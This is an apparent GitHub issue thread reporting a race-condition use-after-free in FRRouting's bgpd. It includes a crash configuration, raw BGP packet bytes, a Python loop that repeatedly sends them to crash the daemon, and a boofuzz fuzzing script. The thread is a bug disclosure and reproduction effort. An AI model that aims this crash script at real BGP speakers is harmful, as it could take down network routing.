bgpd: A use-after-free bug due to race conditions in 2 threads.

[spwpun]

---

Describe the bug

• Did you check if this is a duplicate issue?
• Did you test it on the latest FRRouting/frr master branch?

To Reproduce

1. git clone the frr git version with commit: a9b4458
2. Compile it with -fsanitize=address flags.
3. Run bgpd with a simple bgpd.conf as follow: /path/to/bgpd -f /path/to/bgpd.conf

! -*- bgp -*-
!
! BGPd sample configuratin file
!
!

hostname bgpd-S1
password en
enable password en

interface lo
ip address 127.0.0.1/32

router bgp 1
 bgp router-id 172.17.0.3
 address-family ipv4 unicast
   network 172.17.0.0/24
 exit-address-family
 no bgp ebgp-requires-policy
 no bgp network import-check
 neighbor 172.17.0.1 remote-as 2
 neighbor 172.17.0.1 ebgp-multihop
 neighbor 172.17.0.1 next-hop-self
 neighbor 172.17.0.1 timers 5 5
 neighbor 172.17.0.1 extended-optional-parameters


log file /tmp/bgpd.log

!debug bgp as4
!debug bgp events
!debug bgp filters
!debug bgp fsm
debug bgp keepalives
debug bgp updates
debug bgp neighbor-events

!
log stdout

4. Write a loop to sequencely send the packets below until it crash:

bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'

Because of the race condition, this might not be always cause the bgpd crash.
Expected behavior

The bgpd daemon program won't crash.
Screenshots

The ASAN outputs:

Versions

• OS Version: Ubuntu 20.04

• Kernel: Linux 1738de574178 5.15.0-41-generic #44~20.04.1-Ubuntu

• FRR Version: git version with commit: a9b4458.

Additional context

[ton31337]

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

[spwpun]

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

extended-optional-parameters configuration is not required.

[ton31337]

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

[spwpun]

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

Sure，but my script may not be 100% successful. The crash was encountered in the process of fuzzing it with boofuzz. The boofuzz script may be more complicated.

import socket
from time import sleep

bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'

while True:
    try:
        print("[+] Creating socket...")
        s = socket.socket(type=socket.SOCK_STREAM)
        print("[+] Connecting to server...")
        s.connect(('172.17.0.3', 179))
        s.send(bgp_open)
        sleep(0.0009999999)
        s.send(bgp_keepalive)
        s.send(bgp_notification)
    except KeyboardInterrupt:
        s.close()
        break
    except:
        s.close()

[ton31337]

Do you have a script for boofuzz?

[spwpun]

Do you have a script for boofuzz?
yeah， use it with boofuzz latest version.

from boofuzz import constants
from boofuzz import *
from boofuzz import helpers

# bgp open
s_initialize("bgp_open")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Open", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False) # keep right length
        # s_word(value=34, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 1 for open messages
        s_byte(value=0x01, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()
    
    if s_block_start("Open"):
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Version", fuzzable=False)
        s_word(value=2, endian=BIG_ENDIAN, name="My Autonomous System", fuzzable=False)
        s_word(value=5, endian=BIG_ENDIAN, name="Hold Time", fuzzable=False)
        # BGP Identifier is IP address
        s_dword(value=helpers.ip_str_to_bytes("172.17.0.1"), endian=BIG_ENDIAN, name="BGP Identifier", fuzzable=False)
        s_byte(value=b"\xff", endian=">", name="Non-Ext OP Len", fuzzable=False)
        # s_byte(value=0x00, endian=BIG_ENDIAN, name="Optional Parameter Length", fuzzable=True) # original field
        # s_string(value="", name="Optiname Parameters", size=-1, padding=b'\x00', fuzzable=True)
        s_byte(value=b'\xff', endian=">", name = "Non-Ext OP Type", fuzzable=False)
        s_size(block_name="Optional Parameters", length=2, name="Extended Opt. Parm Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=4096, endian=">", name = "Extended Opt. Parm Length", fuzzable = True) # original field 
        if s_block_start("Optional Parameters"):
            # Optional Parameters [0]:
            if s_block_start("Reserved"):
                s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Type", fuzzable=False)
                s_size(block_name="Reserved Parameter Value", length=1, name="Parameter Length", endian=BIG_ENDIAN, fuzzable=False)
                # s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Length", fuzzable=True) # original field
                s_string(value="\x00", name="Reserved Parameter Value", size=-1, padding=b'\x00', fuzzable=False, max_len=1500)
            s_block_end()
        s_block_end()
    s_block_end()
s_block_end()

# bgp keepalive
s_initialize("bgp_keepalive")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Keepalive", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 4 for keepalive messages
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()

    # A KEEPALIVE message consists of only the message header and has a length of 19 octets.
    if s_block_start("Keepalive"):
        pass
    s_block_end()
s_block_end()

# bgp notification
s_initialize("bgp_notification")
if s_block_start("BGP"):
    if s_block_start("Header"):
        s_bytes(value=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", padding=b"\xFF", size=16, name="Marker", fuzzable=False)
        # The length should be calculated automatically: 
        # len is the open message length, 19 is the length of the header
        s_size(block_name="Notification", length=2, math=lambda x: x + 19, name="Length", endian=BIG_ENDIAN, fuzzable=False)
        # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN, name="Length", fuzzable=True) # original field
        # Type is always 4 for keepalive messages
        s_byte(value=0x04, endian=BIG_ENDIAN, name="Type", fuzzable=False)
    s_block_end()

    if s_block_start("Notification"):
        s_byte(value=0x00, endian=BIG_ENDIAN, name="Error Code", fuzzable=True)
        s_byte(value=0x00, endian=BIG_ENDIAN, name="Error Subcode", fuzzable=True)
        s_string(value="", name="Error Message", size=-1, padding=b'\x00', fuzzable=True)
    s_block_end()
s_block_end()



TARGET_IP = "172.17.0.3"
TARGET_PORT = 179

fuzz_sess = Session(
    target=Target(
        # TCPSocketConnection example
        connection=TCPSocketConnection(
            host=TARGET_IP,
            port=TARGET_PORT,
            send_timeout=5,
            recv_timeout=5,
            server=False,
        ),
    ),
    # other extra settings
    ignore_connection_reset=True,
    receive_data_after_each_request=True,
    receive_data_after_fuzz=True, 
)

fuzz_sess.connect(s_get("bgp_open"))
fuzz_sess.connect(s_get("bgp_open"),s_get("bgp_keepalive"))
fuzz_sess.connect(s_get("bgp_keepalive"),s_get("bgp_notification"))
fuzz_sess.fuzz()

[ton31337]

Thanks.

[spwpun]

Thanks.

By the way, I just tested it again using this boofuzz script and bgpd crashes at about 4 minutes. In my opinion there is a 90% chance of success.

[ton31337]

Can't replicate quickly in 30 minutes. Running with:

# timeout -s 9 1800 python3 b.py

Trying more...

[spwpun]

Can't replicate quickly in 30 minutes. Running with:

# timeout -s 9 1800 python3 b.py

Trying more...

Have you added '-fsanitize=address' cflags for frr when compiling？I tested it again with your command, crashed in about 10 minutes

[ton31337]

Yep, I compiled with --enable-address-sanitizer as usual.

[spwpun]

Yep, I compiled with --enable-address-sanitizer as usual.

It's so strange, maybe out of my knowledge. Try more time or other platform?